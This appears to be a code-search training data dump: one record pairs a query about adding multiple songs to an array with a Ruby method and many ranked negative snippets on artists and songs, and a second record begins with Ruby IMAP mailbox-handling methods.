"def artists\n @songs.collect do |song|\n song.artist\n end\n end",
"def initialize #initializes songs belonging to artist\r\n @song = artist\r\n end",
"def songs\n # Select each song and set the artist value for it equal to the instance\n # of Artist that this method is being called on (self).\n Song.all.select do |song|\n song.artist == self\n end\n end",
"def artists\n songs.map {|song| song.artist}\n end",
"def artists\n genre_artists = []\n Song.all.each {|song|\n if song.genre == self &&\n !genre_artists.include?(song.artist)\n genre_artists << song.artist\n end\n }\n genre_artists\n end",
"def initialize(name) #everytime an Artist instance is created, this method is called. Everything inside the block is its properties\n @name = name\n @songs = []\n\n @@all << self\n end",
"def updateartists\n @album = Album.find(params[:id])\n album_param = params[:albums]\n @album.artists.delete_all \n album_param[:artists].each do |artist_id|\n artist = Artist.find(artist_id)\n @album.artists << artist \n end \n respond_to do |format|\n format.html { redirect_to(:action => :show) }\n format.xml { head :ok }\n end \n end",
"def artists\n songs.map do |song|\n song.artist\n end\n end",
"def artists\n songs.map do |song|\n song.artist\n end\n end",
"def artist_count\n return @artists.length\n end",
"def initialize\n\t\t\n\t\t\t# Initialize processed artists array\n\t\t\t@artists = []\n\t\tend",
"def all_songs\n end",
"def songs\n #use select to iterate thru songs\n Song.all.select{|song| song.artist == self}\n end",
"def artists\n self.songs.collect {|song| song.artist}\nend",
"def song_count\n # @artist = self\n # @artist.songs.count\n self.songs.count\n end",
"def songs\n @songs ||= Song.where(:artist => info(:name))\n end",
"def initialize\n ARTISTS << self\n self.song = []\n self.genre = []\n end",
"def initialize(name) # an Artist instance is initialized w a name\n @name = name\n @songs = [] # each Artist instance will have many songs and this array will hold those songs\n end",
"def initialize (name)\n @name = name #an artist has a name\n \n @@all << self \n \nend",
"def initialize(name)\n @name = name #the artist's name\n @songs = [] #the artist's collection of songs\n end",
"def initialize(name, artist, genre)\n\n @name = name\n @artist = artist\n @genre = genre\n\n @@count +=1\n @@artists << artist #when a new song is initialize, artist shovel to array\n @@genres << genre #when a new genre is intialized, genre shovel to array\n\n end",
"def artists\n songs.collect do |song|\n song.artist\n\n end\nend",
"def initialize(name) #accepts a name for the new artist\n @name = name\n @songs = [] #initialize a songs property set to an empty array\n end",
"def artists\n super.map do |artist|\n Spotify::SDK::Artist.new(artist, parent)\n end\n end",
"def artists\nSong.all.collect{|x| x.artist}\nend",
"def songs\n Song.all.select do |song_instance|\n song_instance.artist == self\n end\n end",
"def clear\n @track = []\n home\n end",
"def clean\n @songs = Songs.clean\n end",
"def initialize(name)\n @name = name\n @songs = [] #artist's collection of songs\n end",
"def n_artists\n if ! @n_artists_found\n @n_artists_found = songs_found\n .group_by{ |s| s[IDX_ARTIST_ID] }\n .length\n end\n return @n_artists_found\n end",
"def artist_count\n @model.artists.count\n end",
"def clear\n home\n self.track = []\n end",
"def songs\n Song.all.select do |song| \n song.artist == self\n end \n end",
"def artists\n self.paintings.map do |painting|\n painting.artist\n end.uniq\n end",
"def number_of_artists\n return @artists.length\n end",
"def number_of_artists\n return @artists.length\n end",
"def index\n @artists = Artist.limit(4)\n @albums = Album.limit(4)\n end",
"def initialize(name, artist, genre) #pass in these 3 arguments to initialize a song by their parameters\n @name = name #setting instance var to local vars (local vars that are passed in and then saved as an instance)\n @artist = artist\n @genre = genre\n @@all << self #shovel all instances of this class into the empty array\n end",
"def initialize(name) # each Song instance is initialized w a name\n @name = name\n @@all << self # everytime a new Song instance is created, we want to track it in the @all array\n end",
"def songs\n Song.all.select do |song_instance|\n song_instance.artist == self \n end\n end",
"def initialize(name)\n @name = name\n @songs = []\n save #puts instances of songs into empty array?\nend",
"def add_song(song)\n song.artist= self\n @songs << song\n end",
"def artist()\n sql = \"SELECT * FROM artists WHERE id = $1\"\n values = [@artist_id]\n artists = SqlRunner.run(sql, values)\n result = artists.map {|artist| Artist.new(artist)}\n return result\n end",
"def initialize(name)\n @name=name\n #save\n @songs =[]\n end",
"def print_artists\n Artist.all.each do |artist|\n check_artist_song_count(artist)\n end\n puts \"There are #{Artist.count} artists in the catalog.\\n\"\nend",
"def songs\n Song.all.select{|song| song.artist == self}\n end",
"def initialize(name, artist, genre)\n @name = name \n @artist = artist \n @genre = genre \n @@artists << artist \n @@genres << genre\n @@count += 1 \n \n end",
"def initialize\n @@songs << self #intilized songs will be added to @@songs\n end",
"def initialize(name, artist, genre)\n @name=name\n @artist=artist\n @genre=genre\n @@artists << self.artist\n @@genres << self.genre\n @@count+=1\n # @@count +=self\n end",
"def songs\n Song.all.select {|song| song.artist == self }\n end",
"def songs\n Song.all.select{|song|song.artist == self}\n end",
"def songs\n Song.all.select {|song| song.artist == self}\n end",
"def songs\n Song.all.select {|song| song.artist == self}\n end",
"def songs\n Song.all.select {|song| song.artist == self}\n end",
"def top_artists\n \n artists=[]\n spotify_artists = JSON.parse(api_call(\"https://api.spotify.com/\",\"v1/me/top/artists\"))\n\n spotify_artists['items'].each do |item|\n new_artist = Artist.find_or_create_by(name: item['name'], spotify_id: item['id'])\n new_artist.update(genre_list: item['genres'])\n artists << new_artist\n end\n\n artists\n\n end",
"def add_song(song)\n @songs << song\n song.artist = self\nend",
"def add_song(song)\n # I hava class varaible @@all in Song class\n # the song is adding to self (refering to the \n # Artist)\n # adds that song to the artist's collection\n # HOW??? \n @song << song # without it\n song.artist = self \n #binding.pry\n end",
"def songs\n Song.all.select {|songs|songs.artist == self}\n end",
"def initialize(name)\n @name = name\n @songs = []\n @@all << self\n end",
"def initialize(name)\n @name = name\n @songs = []\n @@all << self\n end",
"def initialize(name) \n @name = name\n @songs = []\n # initilize artist object with name and an array of songs\n end",
"def index\n @artists = Artist.all\n end",
"def index\n @artists = Artist.all\n end",
"def index\n @artists = Artist.all\n end",
"def index\n @artists = Artist.all\n end",
"def index\n @artists = Artist.all\n end",
"def index\n @artists = Artist.all\n end",
"def initialize(name)\n @name = name\n # accepts a name for the new artist\n @songs = []\n # creates a 'songs' property set to an empty array (artist has many songs)\n end",
"def tracks\n reload\n @tracks\n end"
] |
[
"0.7156489",
"0.7056374",
"0.6997177",
"0.69253683",
"0.69208205",
"0.67027515",
"0.6698445",
"0.66912967",
"0.66508996",
"0.6629528",
"0.66218245",
"0.6589372",
"0.6577754",
"0.65493786",
"0.64871424",
"0.64774626",
"0.64723754",
"0.64674103",
"0.6459421",
"0.6459421",
"0.6449642",
"0.6441431",
"0.6441431",
"0.6437125",
"0.64338034",
"0.64060795",
"0.64041865",
"0.6403586",
"0.6400685",
"0.638943",
"0.633195",
"0.63108456",
"0.63108456",
"0.6293022",
"0.6291117",
"0.62859",
"0.6259879",
"0.6246785",
"0.62450916",
"0.6239251",
"0.6239251",
"0.6219821",
"0.6211299",
"0.61927634",
"0.618906",
"0.61378235",
"0.6126464",
"0.61258066",
"0.61140674",
"0.6110114",
"0.6105665",
"0.6091936",
"0.60873705",
"0.6072252",
"0.6042061",
"0.60407597",
"0.603504",
"0.60291404",
"0.602745",
"0.6023905",
"0.60226715",
"0.60105675",
"0.60097104",
"0.6000505",
"0.60002184",
"0.59989697",
"0.5997038",
"0.5997038",
"0.59814256",
"0.59742737",
"0.5972851",
"0.59618026",
"0.5954869",
"0.59526134",
"0.5947466",
"0.5943643",
"0.5926655",
"0.5923301",
"0.59161234",
"0.59054744",
"0.59012586",
"0.590103",
"0.59009194",
"0.5896501",
"0.5896501",
"0.58950996",
"0.58949953",
"0.58835846",
"0.5872253",
"0.5867101",
"0.5849839",
"0.5849839",
"0.58439565",
"0.58417803",
"0.58417803",
"0.58417803",
"0.58417803",
"0.58417803",
"0.58417803",
"0.5837441",
"0.5832115"
] |
0.0
|
-1
|
adds multiple songs to songs array
|
def add_songs(songs)
songs.each { |song| add_song(song) }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_song(song)\n songs << song\n end",
"def add_song(song)\n songs << song\n end",
"def add_song(song)\n @songs << song \n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\nend",
"def add_song(x)\n \t@songs << x\n end",
"def add_a_song(song)\n @list_of_songs.push(song)\n end",
"def add_song(song_name)\n songs << song_name\n end",
"def add_song(song)\n\t\t@songs <<(song)\n\t\t\n\tend",
"def add_song(song_to_be_added)\n @songs << song_to_be_added\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n @@sounds_count += 1\n\n end",
"def add_song(song)\n @song_list.push(song)\n end",
"def song_ids=(ids)\n ids.each do |id|\n song = Song.find(id)\n self.songs << song\n end\n end",
"def add_song(song)\n @songs.push(song)\n end",
"def add_song(song_instance)\n songs << song_instance\n end",
"def songs \n Song.all.select{|song| add_song(song)}.to_a\n # binding.pry\n end",
"def song_ids=(ids)\n ids.each do |id|\n if !id.blank?\n song = Song.find(id)\n \n self.songs << song\n end \n end\n end",
"def add_songs tracklist, playlist_object\n playlist_object.add_tracks!(tracklist)\n end",
"def add_song(song) #song = #<Song:0x007fc75eb94420 @genre=#<Genre:0x007fc75eb94498 @name=\"rap\", @songs=[]>, @name=\"99 Problems\">\n\n self.songs << song\n end",
"def add_song(song)\n song.artist= self\n @songs << song\n end",
"def add_song(song) #Add the instance of the song to the @songs array (but do NOT add duplicated)\n if @songs.include?(song) == false #So, check first to see if it has been added yet or not.\n @songs << song #Push the song into the array if it has not been added yet\n song.artist = self if song.artist == nil #If no artist (nil) then the Song's artist is self (this instance of the song/artist) Associates the two. else nil #If else (i.e. song is already included in the array, do not add it.)\n end\n end",
"def add_song(song)\n if(!songs.include?song)\n songs.add(song)\n end\n end",
"def add_song(song)\n return if Song.find_by_id(song).nil?\n songs << song\n end",
"def add_song(song)\n @songs << song\n #here we use the self keyword to refer to the artist on which we are calling this method. We call the =artist method onto the song that is being passed as an argument and set that to self (the artist)\n song.artist = self\n#once we add a new song we want to increase the class array song count\n @@song_count +=1\n end",
"def append(song)\n @songs.push(song)\n self # important to return `self` (same as `this`) \n end",
"def add_song(song)\n # song.artist = self # assigns the current artist to the song's 'artist' property (song belongs to artist)\n #@songs << song #adds the song to the current artist's 'songs' collection \n ##does not assign the artist if the song already has an artist\n if song.artist == self\n song.artist\n else\n song.artist = self\n end \n # does not add the song to the current artist's collection of songs if it already exists therein\n if songs.include?(song)\n song\n else\n songs << song\n end \n songs\n end",
"def add_song(song)\n song.artist = self\n @songs << song\n end",
"def add_song(song)\n song.artist = self\n @songs << song\n end",
"def add_songs_to_database\n titles = NprScraper.new.parse_song_title[0]\n artists = NprScraper.new.parse_artist[0]\n titles.zip artists.each do |title,artist|\n song = Song.new\n song.song_title = title\n song.artist = artist\n song.created_at = DateTime.now\n song.updated_at = DateTime.now\n song.save\n end\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n\n end",
"def add_song(song)\r\n @songs << song\r\n song.artist = self\r\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n @@songs << song\n song.artist = self\n end",
"def add_song(song)\n @songs << song #add songs by sheveling song into the @song instance\n song.artist = self #add artists name of the songs\n end",
"def add_song(song)\n @@song_count += 1\n @songs << song\n song.artist = self #self refers to Artist\n\n end",
"def add_new_song(new_song)\n @bar_songlist.push(new_song)\n end",
"def add_song(song)\n @songs << song\n song.artist = self\nend",
"def add_song(song)\n # Add song to @songs if it doesn't already exist\n @songs << song if !@songs.include?(song)\n # Add artist if not already assigned\n song.artist = self if song.artist ==nil\n save\n end",
"def add_song(song)\n self.songs << song\n new_song = Song.new(song)\n new_song.artist = self\n end",
"def add_song(song) ### arg is song instance ###\n\t\tsong.artist = self\n\t\tsong.artist.songs << song\n\tend",
"def add_song(song)\n if(!song.artist)\n song.artist = self\n end\n \n if(!self.songs.include?song)\n self.songs << song\n end\n end",
"def add_song(song)\n #associates a song to the artist's collection\n @songs << song\n song.artist = self\n end",
"def add_song(song)\n song.artist = self unless song.artist == self\n @songs << song unless @songs.include? song\n end",
"def add_song(song)\n @song = song\n @songs << song\n\n @@song_count = @@song_count + 1\n song.artist = self\n end",
"def add_song(song)\n if song.artist == nil #does not assign the song if the song already has an artist\n song.artist = self #assigns current artist to songs artist property\n else\n nil\n end\n if @songs.include?(song)\n nil\n else\n @songs << song #adds song, does not add the song if already exists\n end\n song\n end",
"def add_song(song)\n if song.artist!=self\n song.artist = self\n elsif !@songs.include?(song)\n @songs << song\n end\n end",
"def initialize\n @songs = []\n end",
"def initialize\n @songs = []\n end",
"def add_track(new_song)\n if AVAILABLE_SONGS.include?(new_song)\n @playlist << new_song\n else\n return false\n end\n end",
"def initialize\n @songs = []\n end",
"def add_song(song)\n song.genre = self unless song.genre\n @songs << song unless @songs.include?(song)\n end",
"def add_song_by_name(song_name)\n song = Song.new(song_name)\n @@songs << song\n song.artist = self\n end",
"def add_song_to_playlist(song)\n if @playlist.include? song\n return #exit out of function if already exits\n end\n @playlist << song #else add song to playlist array\n end",
"def add_song_by_name(song_name)\n song = Song.new(song_name)\n song.artist = self\n @songs << song\n end",
"def add_song_by_name(name)\n song = Song.new(name)\n @songs << song\n song.artist = self\n @@sounds_count += 1\n end",
"def add_song(song)\n if self.songs.include?(song) == false\n @songs << song\n end\n\n if song.artist.nil? || song.artist == false\n song.artist = self\n end\n\n end",
"def add_song_by_name(name)\n song = Song.new(name)\n @songs << song\n song.artist = self\n end",
"def add_song_by_name(name)\n song = Song.new(name)\n @songs << song\n song.artist = self\n end",
"def songs\n \t@songs = Album.find(params[:id])\n songs = RSpotify::Track.search(@songs.name)\n \t@songs = songs.map do |s_songs|\n \tSong.new_from_spotify_song(s_songs)\n end\n render json: {data:@songs}\n end",
"def all_songs\n end",
"def initialize\n super\n @songs = []\n end",
"def initialize\n super\n @songs = []\n end",
"def add_song(new_song)\n @songs.include?(new_song) ? (puts \"The song has already been added\") : @songs.push(new_song)\n end",
"def add_song(new_song)\n @songs.include?(new_song) ? (puts \"The song has already been added\") : @songs.push(new_song)\n end",
"def songs\n # @@songs.select { |song| song.name == @name }\n @songs\n end",
"def add_song(song)\n song.artist = self unless song.artist == self #the song's artist property here\n @songs << song unless @songs.include?(song)\n end",
"def add_song(song)\n #@song << song\n #song.artist = self \n self.songs << song \n \n # self.songs << song \n #binding.pry \n end",
"def import\n @@files_array.collect { |filename| Song.create_from_filename(filename) } \n end",
"def list(songs)\n song_list = []\n counter = 1\n songs.each do |song|\n song_list.push(\"#{counter}. #{song}\")\n counter += 1\n end\n puts song_list\nend",
"def songs\n @songs ||= Song.where(:artist => info(:name))\n end",
"def add_song(song)\n # I hava class varaible @@all in Song class\n # the song is adding to self (refering to the \n # Artist)\n # adds that song to the artist's collection\n # HOW??? \n @song << song # without it\n song.artist = self \n #binding.pry\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def add_song_by_name(name)\n song = Song.new(name)\n song.artist = self\n @songs << song\n @@song_count += 1\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end"
] |
[
"0.8082679",
"0.8008686",
"0.80005395",
"0.7871628",
"0.7871628",
"0.7871628",
"0.7871628",
"0.7871628",
"0.7871628",
"0.7850824",
"0.78131306",
"0.77819365",
"0.7774317",
"0.76450825",
"0.7640007",
"0.75483966",
"0.75409263",
"0.7539353",
"0.7487023",
"0.7481141",
"0.7453654",
"0.7451543",
"0.74153215",
"0.72879946",
"0.7259244",
"0.72408706",
"0.7235087",
"0.7232078",
"0.71817684",
"0.71736944",
"0.7171716",
"0.7170705",
"0.7170705",
"0.7165078",
"0.7142836",
"0.7137971",
"0.7109586",
"0.7109586",
"0.7109586",
"0.7109586",
"0.7109586",
"0.7109586",
"0.7109586",
"0.7109586",
"0.7109586",
"0.7109586",
"0.7109586",
"0.7085245",
"0.70507413",
"0.7010537",
"0.70085347",
"0.6997639",
"0.6991045",
"0.6977867",
"0.69635725",
"0.69399595",
"0.6938841",
"0.6936376",
"0.6932718",
"0.68975425",
"0.6874887",
"0.6865152",
"0.6865152",
"0.6841427",
"0.68165493",
"0.6787604",
"0.6764288",
"0.6755162",
"0.67542166",
"0.6751019",
"0.6743804",
"0.6717424",
"0.6713536",
"0.67098796",
"0.6708812",
"0.6706822",
"0.6706822",
"0.6699018",
"0.6699018",
"0.6687254",
"0.6669539",
"0.666695",
"0.66601753",
"0.66524076",
"0.663223",
"0.6596495",
"0.6592698",
"0.6592698",
"0.6566711",
"0.6545865",
"0.6545865",
"0.6545865",
"0.6545865",
"0.6545865",
"0.6545865",
"0.6545865",
"0.6545865",
"0.6545865"
] |
0.85997236
|
2
|
Selects messages from mailboxes then marking them with +flags+. If a block is given it is run after message marking. Unless :Noop was set, then it just prints out what it would do. Automatically called by IMAPClient::run
|
def run(message, flags)
log message
message_count = 0
mailboxes = find_mailboxes
mailboxes.each do |mailbox|
@mailbox = mailbox
@imap.select @mailbox
log "Selected #{@mailbox}"
messages = find_messages
next if messages.empty?
message_count += messages.length
unless @noop then
mark messages, flags
else
log "Noop - not marking"
end
yield messages if block_given?
end
log "Done. Found #{message_count} messages in #{mailboxes.length} mailboxes"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def mark(messages, flags)\n messages.each_slice(500) do |chunk|\n @imap.store chunk, '+FLAGS.SILENT', flags\n end\n log \"Marked messages with flags\"\n end",
"def run\n log \"Flagging tasty messages\"\n\n message_count = 0\n mailboxes = find_mailboxes\n\n mailboxes.each do |mailbox|\n @mailbox = mailbox\n @imap.select @mailbox\n log \"Selected #{@mailbox}\"\n\n message_count += process_unlearned_flagged\n message_count += process_tasty_unflagged\n message_count += process_bland_flagged\n message_count += process_unlearned\n end\n\n log \"Done. Found #{message_count} messages in #{mailboxes.length} mailboxes\"\n end",
"def imap_select_inbox\n imap.select('INBOX')\n end",
"def markMail(imap, folder)\n pp \"MARKED #{folder}..\"\n message_ids = imap.uid_search(\"ALL\")\n imap.uid_store(message_ids, \"+FLAGS\", [:Seen])\n imap.expunge\nend",
"def find(options={}, &block)\n options = validate_options(options)\n\n start do |imap|\n options[:read_only] ? imap.examine(options[:mailbox]) : imap.select(options[:mailbox])\n uids = imap.uid_search(options[:keys], options[:search_charset])\n uids.reverse! if options[:what].to_sym == :last\n uids = uids.first(options[:count]) if options[:count].is_a?(Integer)\n uids.reverse! if (options[:what].to_sym == :last && options[:order].to_sym == :asc) ||\n (options[:what].to_sym != :last && options[:order].to_sym == :desc)\n\n if block_given?\n uids.each do |uid|\n uid = options[:uid].to_i unless options[:uid].nil?\n fetchdata = imap.uid_fetch(uid, ['RFC822', 'FLAGS'])[0]\n new_message = Mail.new(fetchdata.attr['RFC822'])\n new_message.mark_for_delete = true if options[:delete_after_find]\n\n if block.arity == 4\n yield new_message, imap, uid, fetchdata.attr['FLAGS']\n elsif block.arity == 3\n yield new_message, imap, uid\n else\n yield new_message\n end\n\n imap.uid_store(uid, \"+FLAGS\", [Net::IMAP::DELETED]) if options[:delete_after_find] && new_message.is_marked_for_delete?\n break unless options[:uid].nil?\n end\n imap.expunge if options[:delete_after_find]\n else\n emails = []\n uids.each do |uid|\n uid = options[:uid].to_i unless options[:uid].nil?\n fetchdata = imap.uid_fetch(uid, ['RFC822'])[0]\n emails << Mail.new(fetchdata.attr['RFC822'])\n imap.uid_store(uid, \"+FLAGS\", [Net::IMAP::DELETED]) if options[:delete_after_find]\n break unless options[:uid].nil?\n end\n imap.expunge if options[:delete_after_find]\n emails.size == 1 && options[:count] == 1 ? emails.first : emails\n end\n end\n end",
"def find_folders(options={}, &block)\n options[:mailbox] ||= ''\n options[:count] ||= :all\n\n options = validate_options(options)\n mailbox = options[:mailbox] || ''\n mailbox = Net::IMAP.encode_utf7(mailbox)\n mailbox = mailbox.empty? ? '*' : \"#{mailbox}/*\"\n include = options[:include] ||= '*'\n exclude = options[:exclude] ||= nil\n include_flags = options[:include_flags] ||= nil\n exclude_flags = options[:exclude_flags] ||= [:Noselect, :All, :Drafts, :Important, :Junk, :Flagged, :Trash]\n\n start do |imap|\n info \"find_folders block\"\n info \"imap.lsub/list #{mailbox}\"\n boxes = options[:subscribed] ? imap.lsub('', mailbox) : imap.list('', mailbox)\n boxes.replace(options[:what].to_sym == :last ? boxes.last(options[:count]) : boxes.first(options[:count])) if options[:count].is_a?(Integer)\n\n if block_given?\n boxes.each do |box|\n name = Net::IMAP.decode_utf7(box.name)\n flags = box.attr ? box.attr.map{|e| e.to_s.downcase.to_sym} : nil\n next if match_folder(name, exclude) || match_folder_flags(flags, exclude_flags)\n next unless match_folder(name, include) || match_folder_flags(flags, include_flags)\n info \"imap.status #{box.name} #{[\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"]}\"\n status = imap.status(box.name, [\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"])\n yield Folder.new(name, delim: box.delim, flags: flags, messages: status['MESSAGES'], unseen: status['UNSEEN'], validity: status['UIDVALIDITY'], next: status['UIDNEXT'])\n end unless boxes.nil?\n else\n folders = []\n boxes.each do |box|\n name = Net::IMAP.decode_utf7(box.name)\n flags = box.attr ? box.attr.map{|e| e.to_s.downcase.to_sym} : nil\n next if match_folder(name, exclude) || match_folder_flags(flags, exclude_flags)\n next unless match_folder(name, include) || match_folder_flags(flags, include_flags)\n info \"imap.status #{box.name} #{[\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"]}\"\n status = imap.status(box.name, [\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"])\n folders << Folder.new(name, delim: box.delim, flags: flags, messages: status['MESSAGES'], unseen: status['UNSEEN'], validity: status['UIDVALIDITY'], next: status['UIDNEXT'])\n end unless boxes.nil?\n folders.size == 1 && options[:count] == 1 ? folders.first : folders\n end\n end\n end",
"def find_in_batches(options={}, &block)\n options[:count] ||= :all\n options = validate_options(options)\n mailbox = options[:mailbox]\n batch_size = options.delete(:batch_size) || 10\n\n start do |imap|\n info \"find_in_batches block\"\n info \"imap.examine/select #{options[:mailbox]}\"\n options[:read_only] ? imap.examine(options[:mailbox]) : imap.select(options[:mailbox])\n\n info \"imap.responses #{\"UIDVALIDITY\"}\"\n validity = imap.responses[\"UIDVALIDITY\"].first\n info \"imap.uid_search #{options[:keys]}\"\n uids = imap.uid_search(options[:keys])\n uids.replace(options[:what].to_sym == :last ? uids.last(options[:count]) : uids.first(options[:count])) if options[:count].is_a?(Integer)\n\n if block_given?\n uids.each_slice(batch_size) do |batch|\n results = []\n info \"imap.uid_fetch #{batch} #{\"(UID FLAGS RFC822.SIZE INTERNALDATE RFC822 BODY.PEEK[HEADER.FIELDS (MESSAGE-ID)])\"}\"\n imap.uid_fetch(batch, \"(UID FLAGS RFC822.SIZE INTERNALDATE RFC822 BODY.PEEK[HEADER.FIELDS (MESSAGE-ID)])\").each do |data|\n uid = data.attr['UID'].to_i\n flags = data.attr['FLAGS'].map {|flag| flag.to_s.downcase.to_sym}\n message_size = data.attr['RFC822.SIZE'].to_i\n message_date = Time.parse(data.attr['INTERNALDATE'])\n rfc822 = data.attr['RFC822']\n results << Message.new(rfc822,{folder: mailbox, validity: validity, uid: uid, flags: flags, message_size: message_size, message_date: message_date})\n end\n info \"imap.uid_store #{batch} #{\"+FLAGS\"} #{[Net::IMAP::DELETED]}\" if options[:delete_after_find]\n imap.uid_store(batch, \"+FLAGS\", [Net::IMAP::DELETED]) if options[:delete_after_find]\n yield results\n end\n info \"imap.expunge\" if options[:delete_after_find]\n imap.expunge if options[:delete_after_find]\n end\n end\n end",
"def set_mailbox\n imap.select(@mailbox.name) if logged_in?\n end",
"def find_messages\n mailbox = @boxes.find { |box| @mailbox =~ /#{box}/ } # TODO: needs more work\n raise unless mailbox\n age = @cleanse[mailbox]\n before_date = (Time.now - 86400 * age).imapdate\n\n search [\n 'NOT', 'NEW',\n 'NOT', 'FLAGGED',\n 'BEFORE', before_date\n ], 'read, unflagged messages'\n end",
"def mark_as_unread(options = {})\n default_options = {:conditions => [\"mail_items.mailbox != ?\",@user.mailbox_types[:sent].to_s]}\n add_mailbox_condition!(default_options, @type)\n return update_mail(\"mail_items.read = false\", default_options, options)\n end",
"def archive(&block)\n tag(&block)\n remove(:inbox) if @labels\n return @message.labels\n end",
"def fetch_messages(opts = {}, &block)\n check_client_config\n\n opts[:after] = opts.delete(:since) if opts.include?(:since)\n\n mailbox = @client.label(\"INBOX\")\n mailbox.emails(:all, opts).map do |email|\n from = email.from[0]\n\n message_data = {\n :id => email.message_id,\n :source => 'email',\n :thread => email.thread_id,\n :title => email.subject,\n :body => extract_body(email),\n :sender_name => \"#{from.name || from.mailbox}\",\n :sender => \"#{from.mailbox}@#{from.host}\"\n }\n\n block.call Message.build(message_data)\n end\n end",
"def sync_new(mailbox)\n # Skip any mailbox with attributes in ignore_attr\n return if ! (mailbox.attr & @@ignore_attr).empty?\n return if !@running\n\n name = Net::IMAP.decode_utf7(mailbox.name)\n cache = @mailboxes[name] || Mailbox.new(name)\n\n puts \"Examining mailbox #{name}\"\n\n begin\n @imap.examine(mailbox.name)\n rescue => e\n puts \"Failed to examine mailbox: #{e}\"\n return\n end\n\n uidvalidity = @imap.responses[\"UIDVALIDITY\"][-1]\n uidnext = @imap.responses[\"UIDNEXT\"][-1]\n\n if cache.uidvalidity != uidvalidity\n puts \"UIDVALIDITY differ, rescaning all mailbox\"\n ids = @imap.search([\"NOT\", \"DELETED\"])\n else\n if (cache.uidmax + 1 == uidnext)\n puts \"No new messages\"\n return\n end\n puts \"UIDVALIDITY match, get new messages only\"\n ids = ((cache.uidmax + 1) .. uidnext).to_a\n end\n\n puts \"; got #{ids.size} messages\"\n\n while(!(block = ids.shift(@@buf_size)).empty?)\n\n break if ! @running\n puts \"; requesting messages #{block.first}..#{block.last} from server\"\n\n msgs = @imap.fetch((block.first..block.last), [\"UID\", \"X-GM-MSGID\", \"X-GM-THRID\", \"X-GM-LABELS\", \"FLAGS\", \"RFC822\"])\n\n if ! msgs\n puts msgs\n next\n end\n\n msgs.each { |msg|\n break if ! @running\n\n body = msg.attr[\"RFC822\"]\n body.force_encoding(\"binary\") if body.respond_to?(:force_encoding) \n body.gsub(\"\\r\\n\", \"\\n\")\n\n labels = msg.attr[\"X-GM-LABELS\"].push(name).collect { |label| Net::IMAP.decode_utf7(label.to_s) }\n\n state = msg.attr[\"FLAGS\"].collect { |flag| flag.to_s.downcase.to_sym }\n puts state\n\n begin\n response = RestClient.post \"http://localhost:8042/message.json\", \n { :body => body, :labels => labels, :state => state, :mailbox => name },\n { :content_type => :json, :accept => :json}\n rescue RestClient::ResourceNotFound => e\n puts \"Warning: resource not found\"\n next\n rescue => e\n puts \"Failed to communicate with heliotrope : #{e.class}\"\n @running = false\n break\n end\n\n puts response \n response = JSON.parse(response)\n\n if response[\"response\"] == \"ok\"\n if response[\"status\"] == \"seen\"\n cache.num_seen += 1\n else\n cache.num_indexed += 1\n end\n else\n cache.num_bad += 1\n puts \"Error for message: \" + response[\"error_message\"]\n end\n\n cache.uidmax = [cache.uidmax || 0, msg.attr[\"UID\"]].max\n }\n end\n\n puts \"Store mailbox #{name} cache\"\n cache.uidnext = uidnext\n cache.uidvalidity = uidvalidity\n @mailboxes[name] = cache\n save_mailboxes\n end",
"def get_messages\n @connection.search(@filter).each do |message|\n body = @connection.fetch(message, \"RFC822\")[0].attr[\"RFC822\"]\n begin\n @processor.process(body)\n rescue StandardError => error\n Mailman.logger.error \"Error encountered processing message: #{message.inspect}\\n #{error.class.to_s}: #{error.message}\\n #{error.backtrace.join(\"\\n\")}\"\n next\n end\n @connection.store(message, \"+FLAGS\", @done_flags)\n end\n # Clears messages that have the Deleted flag set\n @connection.expunge\n end",
"def move_to_inbox(options={})\n update_receipts({:mailbox_type => :inbox, :trashed => false}, options)\n end",
"def get_messages\n @connection.select('INBOX')\n @connection.search(['ALL']).each do |message_id|\n msg = @connection.fetch(message_id,'RFC822')[0].attr['RFC822']\n begin\n process_message(msg)\n rescue\n handle_bogus_message(msg)\n end\n # Mark message as deleted \n @connection.store(message_id, \"+FLAGS\", [:Deleted])\n end\n end",
